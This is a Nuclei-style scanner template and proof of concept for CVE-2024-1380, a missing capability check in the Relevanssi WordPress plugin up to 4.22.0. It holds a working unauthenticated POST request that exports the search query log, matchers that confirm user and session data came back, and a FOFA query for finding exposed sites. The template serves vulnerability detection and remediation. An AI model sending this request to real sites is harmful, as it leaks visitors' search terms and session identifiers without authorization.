The Relevanssi Search plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to export the query log data.
PoC
id: CVE-2024-1380
info:
name: Relevanssi (A Better Search) <= 4.22.0 - Query Log Export
author: FLX
severity: medium
description: |
The Relevanssi Search plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to export the query log data.
impact: |
Unauthenticated attackers can export query log data containing search terms and potentially sensitive user information.
remediation: |
Update Relevanssi plugin to version 4.22.1 or later.
reference:
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3033880%40relevanssi&new=3033880%40relevanssi&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2a3b17-0551-4e02-8e6a-ae8d46da0ef8?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-1380
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-1380
epss-score: 0.50192
epss-percentile: 0.98845
cpe: cpe:2.3:a:relevanssi:relevanssi:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: "/wp-content/plugins/relevanssi/"
product: relevanssi
vendor: relevanssi
tags: cve,cve2024,wp,wordpress,wp-plugin,relevanssi,exposure,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=&relevanssi_export=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(header, "filename=relevanssi_log.csv", "application/download")'
- 'contains_all(body, "user_id", "session_id")'
condition: and
# digest: 4a0a00473045022100d00611bda6ac9104cc9f1396848913b02573a1be47ea48c143c291730cc86c230220264e726538f1957be1b38751f2f221baae5f35d3979ada8025aa38360bf8d816:922c64590222798bb761d5b6d8e72950
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